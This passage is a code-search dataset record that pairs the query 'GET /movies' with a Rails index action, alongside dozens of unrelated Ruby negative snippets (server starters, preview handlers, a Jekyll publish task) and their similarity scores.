url('data:image/png;base64,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')\n no-repeat\n left center;\n }\n .markdown-body h1:hover a.anchor .octicon-link, .markdown-body h2:hover a.anchor .octicon-link, .markdown-body h3:hover a.anchor .octicon-link, .markdown-body h4:hover a.anchor .octicon-link, .markdown-body h5:hover a.anchor .octicon-link, .markdown-body h6:hover a.anchor .octicon-link {\n display: none;\n }\n </style>\n </head>\n <body class=\"markdown-body\" style=\"padding:10px 40px;\">\n <div class=\"readme-content\">\n #{preview_html}\n </div>\n </body>\nCONTENT\n output_file_content\n end", "def start_server(options = {})\n\n # Backward compatibility\n if options.is_a? String\n url = options\n port = nil\n logfile = nil\n else\n url = options[:url]\n port = options[:port]\n logfile = options[:logfile]\n end\n\n url = ENV['TALKSHOW_REMOTE_URL'] if ENV['TALKSHOW_REMOTE_URL']\n port = ENV['TALKSHOW_PORT'] if ENV['TALKSHOW_PORT']\n logfile = ENV['TALKSHOW_LOG'] if ENV['TALKSHOW_LOG']\n\n Talkshow::Server.set_port port if port\n Talkshow::Server.set_logfile logfile if logfile\n \n if !url\n @type = :thread\n @question_queue = ::Queue.new\n @answer_queue = ::Queue.new\n @thread = Thread.new do\n Talkshow::Server.question_queue(@question_queue)\n Talkshow::Server.answer_queue(@answer_queue)\n Talkshow::Server.run!\n end\n else\n @type = :remote\n @question_queue = Talkshow::Queue.new(url)\n @answer_queue = Talkshow::Queue.new(url)\n end\n \n end", "def preview(command)\n path = '/' + clean_up(command[1])\n dst = command[2]\n out, metadata = @client.files.preview(path)\n pp metadata\n open(dest, 'w') { |f| f.puts out }\n puts \"wrote thumbnail #{ dst }.\"\n end", "def run\n start\n jetty.join\n end", "def preview\n # generate html according to wiki notation type\n result = ContentFormatter.to_html(params[:content], params[:notation_type])\n respond_to do |format|\n format.html {\n # return html text\n render text: result\n }\n end\n end", "def run( args )\n parse args\n create_site\n end", "def extract_preview\n file_path = File.join(Rails.public_path, self.zip_url)\n\n Zip::File.open(file_path) do |zip_file|\n zip_file.each do |file|\n if file.name == 'preview.png' # remember to add other possible file extentions\n f_path = File.join(File.dirname(file_path), file.name)\n #FileUtils.mkdir_p(File.dirname(f_path))\n zip_file.extract(file, f_path){ true }\n end\n end\n end\n end", "def preview_submit\n @story = Story.find(params[:submission])\n @story_slam_preview = true # to hide/show certain things in the header\n end", "def preview_title_and_toc\n preview_path = \"#{PDF_PREVIEW_FOLDER}/preview_title_toc-#{current_cookbook.id}_#{Time.now.to_i}.pdf\"\n session[:preview_filename] = preview_path\n preview = CookbookPreviewWorker.new(\n cookbook: current_cookbook, \n filename: preview_path\n )\n preview.title_and_toc\n render \"previews/preview\"\n end", "def views_getting_started\n goes_to(\"/content/getting_started\", nil)\n end", "def start!(port = 8080)\n $app = HttpApp.new do |app|\n app.torrent_manager = @torrent_manager\n app.tv = TorrentView.new(@torrent_manager)\n end\n Thin::Server.start('127.0.0.1', port) do\n map '/' do\n run $app\n end\n end\n end", "def display_preview!(theme, header_text)\n PryTheme.set_theme(theme)\n display_header(header_text, output)\n test_theme\n end", "def start\n puts \"=> Padrino/#{Padrino.version} has taken the stage #{Padrino.env} at http://#{options[:Host]}:#{options[:Port]}\"\n [:INT, :TERM].each { |sig| trap(sig) { exit } }\n super do |server|\n server.threaded = true if server.respond_to?(:threaded=)\n end\n ensure\n puts \"<= Padrino leaves the gun, takes the cannoli\" unless options[:daemonize]\n end", "def extract_preview(preview_properties, path)\n raise NotImplementedError.new 'This is only a function body for documentation'\n end", "def start!\n update_proc_title(:starting)\n\n server_thread = Thread.new do\n logger.info { \"[gruf] Starting gruf server at #{@hostname}...\" }\n server.run_till_terminated_or_interrupted(KILL_SIGNALS)\n end\n @started = true\n update_proc_title(:serving)\n server_thread.join\n @started = false\n\n update_proc_title(:stopped)\n logger.info { '[gruf] Goodbye!' }\n end", "def start\n if !started?\n configure(false)\n FileUtils.touch($config[:'log-file'])\n FileUtils.chmod(0640, $config[:'log-file'])\n $log = File.open($config[:'log-file'], 'a')\n @pid = fork do\n Process.egid = $config[:gid]\n Process.euid = $config[:uid]\n server = PostwhiteServer.new\n server.start\n STDERR.reopen('/dev/null') # silence STDERR\n sleep # until INT signal\n end || (raise \"cannot not fork server process\")\n File.open($config[:'pid-file'], 'w') {|file| file.puts @pid }\n puts \"postwhite started on #{$config[:host]}:#{$config[:port]} with pid #{@pid}\" if !$config[:quiet]\n Signal.trap('INT') { cleanup }\n if $config[:detach]\n Process.detach(@pid)\n else\n Process.wait\n end\n else\n raise \"postwhite already running\"\n end\n 0\n end", "def serve\n # if there are more than one blog, blog_path is expected\n if @cms_site.blogs.count >= 2\n params[:blog_path] = params.delete(:slug) if params[:blog_path].blank?\n end\n\n load_blog\n\n if params[:slug].present?\n show && render(:show)\n else\n index && render(:index)\n end\n end", "def serve\n # if there are more than one blog, blog_path is expected\n if @cms_site.blogs.count >= 2\n params[:blog_path] = params.delete(:slug) if params[:blog_path].blank?\n end\n\n load_blog\n\n if params[:slug].present?\n show && render(:show)\n else\n index && render(:index)\n end\n end", "def serve\n require 'tipsy/server'\n require 'tipsy/view'\n require 'rack'\n \n conf = Tipsy::Site.config\n missing_legacy_message = \"Rack::Legacy could not be loaded. Add it to your gemfile or set 'enable_php' to false in config.rb\"\n missing_rewrite_message = \"Rack::Rewrite could not be loaded. Add it to your gemfile or remove 'rewrite_rules' from config.rb\"\n if conf.enable_php\n begin\n require 'rack-legacy'\n require 'tipsy/handler/php' \n rescue LoadError\n puts missing_legacy_message\n end\n end\n \n app = Rack::Builder.new {\n use Rack::Reloader\n use Rack::ShowStatus\n \n unless conf.rewrite_rules.empty?\n begin\n require 'rack-rewrite'\n puts \"Enabling Rack Rewrite\"\n use Rack::Rewrite do\n conf.rewrite_rules.each do |pair|\n rewrite pair.first, pair.last\n end\n end\n rescue LoadError\n puts missing_rewrite_message\n end\n end\n \n if conf.enable_php\n begin\n puts \"PHP Enabled\"\n use Rack::Legacy::Php, conf.public_path\n rescue\n end\n end\n use Rack::ShowExceptions\n use Tipsy::Handler::StaticHandler, :root => conf.public_path, :urls => %w[/]\n run Rack::Cascade.new([\n \tRack::URLMap.new(Tipsy::Handler::AssetHandler.map!),\n \tTipsy::Server.new\n ])\n }.to_app\n \n conf = Tipsy::Site.config\n options = {\n :Host => conf.address,\n :Port => conf.port\n }\n \n Tipsy::Server.run!(app, options)\n end", "def generate_preview_url\n GlobalConstant::Base.root_url + @params['path'] + '?ts=' + @params['ts'].to_s\n end", "def body_preview=(value)\n @body_preview = value\n end", "def start\n @pid = Process.fork do\n if (@options.rack) \n # NOTE: This does not support command-line setting of repo!\n opts = { :server => :webrick, :host => @host, :port => @port}\n PlanR::Application::LocalHttpd::WebApp.run!( repo, opts ) \n else\n # rack doesn't do the one thing we need it to: \n # pass WebApp instantiation arguments to Webrick.mount\n opts = { :BindAddress => @host, :Port => @port}\n @webrick = ::WEBrick::HTTPServer.new(opts)\n @webrick.mount \"/\", Servlet,\n [ PlanR::Application::LocalHttpd::WebApp, \n @options ]\n @webrick.start\n end\n end\n\n trap('INT') { Process.kill 'INT', @pid }\n trap('TERM') { Process.kill 'INT', @pid }\n\n self\n end", "def view\n\t `ruby #{File.dirname(__FILE__) + \"/viewer/viewer.rb\"}`\n end", "def start_server_at( screen_name, port = \"\" )\n %x( screen -S #{screen_name} -X python -m SimpleHTTPServer #{port} )\nend", "def preview\n mixpanel_tab_event(\"View Item\", \"Get Preview URL\")\n begin\n embed_url = user_client.embed_url(params[:id])\n redirect_to embed_url\n rescue\n redirect_to no_support_url\n end\n\n end", "def show\n post = Post.find_by(id: params[:id])\n redirect_to admin_preview_post_path(post)\n end", "def preview?\n \n self.preview ? File.exists?(self.preview.path) : false\n end", "def preview\n @article = article\n @article.title = params[:title] if params[:title]\n @article.markdown = params[:markdown] if params[:markdown]\n @article.html = rendered_content if params[:markdown]\n\n render partial: 'articles/article_content'\n end", "def publish!\n inform \"Publishing local version to http://chapmanu.github.io/web-components\"\n \n # Production Configuration\n inform \"Building site with production configuration\"\n Jekyll::Site.new(Jekyll.configuration({\n \"source\" => \".\",\n \"destination\" => \"_site\"\n })).process\n\n Dir.mktmpdir do |tmp|\n FileUtils.cp_r \"_site/.\", tmp\n \n pwd = Dir.pwd\n Dir.chdir tmp\n\n cmd \"git init\"\n cmd \"git add .\"\n message = \"Site updated at #{Time.now.utc}\"\n cmd \"git commit -m #{message.inspect}\"\n cmd \"git remote add origin git@github.com:#{GITHUB_REPONAME}.git\"\n cmd \"git push origin master:refs/heads/gh-pages --force\"\n\n Dir.chdir pwd\n end\n inform \"Publish successful\"\n end", "def update\n @post = Post.find(params[:id])\n \n if params[:preview].to_s == \"true\"\n @user = current_user\n @post = Post.new(params[:post])\n @post.created_at = DateTime.now\n respond_to do |format|\n format.html { render :template => \"posts/fe/show_post\", layout: \"blog\" }\n end\n else\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to posts_path, notice: 'Post was successfully updated.' }\n else\n format.html { render action: \"edit\" }\n end\n end\n end\n end", "def start(controller = Stream::StreamController.instance)\n # make sure all the keys are set\n validate_keys\n\n options = update_config_options\n\n # create a new server\n @server = WEBrick::HTTPServer.new(Port: options[:port])\n\n # start singleton stream controller\n @controller = controller.start\n\n # mount the REST server on webrick\n @server.mount '/', Http::HttpEndpoint\n\n trap_signals\n\n logger.info(\"Server starting with PID #{Process.pid}\")\n\n @server.start\n end" ]
[ "0.766323", "0.73429805", "0.6549405", "0.6487804", "0.6260098", "0.6255539", "0.61358005", "0.6128708", "0.6066154", "0.60524046", "0.5980425", "0.5856681", "0.5842496", "0.568482", "0.56844234", "0.5656416", "0.5656416", "0.56339175", "0.5616568", "0.5582136", "0.55745834", "0.5552867", "0.551349", "0.5496222", "0.54875535", "0.54637134", "0.54481786", "0.5412584", "0.53779894", "0.534932", "0.5333649", "0.53184515", "0.5317332", "0.5317332", "0.5308865", "0.52801526", "0.5259619", "0.5257789", "0.5243178", "0.5219511", "0.5198574", "0.5190523", "0.5188462", "0.5188462", "0.5175873", "0.5175235", "0.51736903", "0.5166272", "0.51633847", "0.51439744", "0.5126678", "0.5116573", "0.51085824", "0.509454", "0.50871867", "0.5047328", "0.5040461", "0.50402313", "0.50391495", "0.50386083", "0.501955", "0.50194865", "0.5015751", "0.50155294", "0.5014782", "0.5009811", "0.5004965", "0.50043225", "0.5003018", "0.49860036", "0.49838743", "0.49822167", "0.49730217", "0.49559143", "0.49540916", "0.49435177", "0.4931511", "0.49217966", "0.49078876", "0.49062863", "0.49027324", "0.4893037", "0.48826757", "0.48713905", "0.48700935", "0.48630574", "0.48630574", "0.4854621", "0.4849739", "0.48487452", "0.48438385", "0.48264837", "0.48209906", "0.48191896", "0.48189682", "0.48184946", "0.4813099", "0.48113722", "0.48051494", "0.4805024" ]
0.7350539
1
GET /movies GET /movies.json
def index @movies = Movie.joins(:indications).where("user_indicator_id = ?" , session[:user_id]).order("id DESC") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def movies\n get('Movies')\n end", "def pull_movies(options = {})\n response = HTTParty.get(build_url('movie', options), headers: HEADERS, debug_output: $stdout)\n JSON.parse(response.body)\n end", "def index\n @movies = @category.movies.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @movies }\n end\n end", "def get_all_actors_for_movie(movie)\n url = \"http://movies.api.mks.io/actors\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def get_all_movies_for_actor(actor)\n url = \"http://movies.api.mks.io/movies\"\n response = RestClient.get(url, accept: 'application/json')\n\nend", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @movie }\n end\n end", "def show\n @movie = Movie.find(params[:id])\n\n respond_to do |format|\n format.html 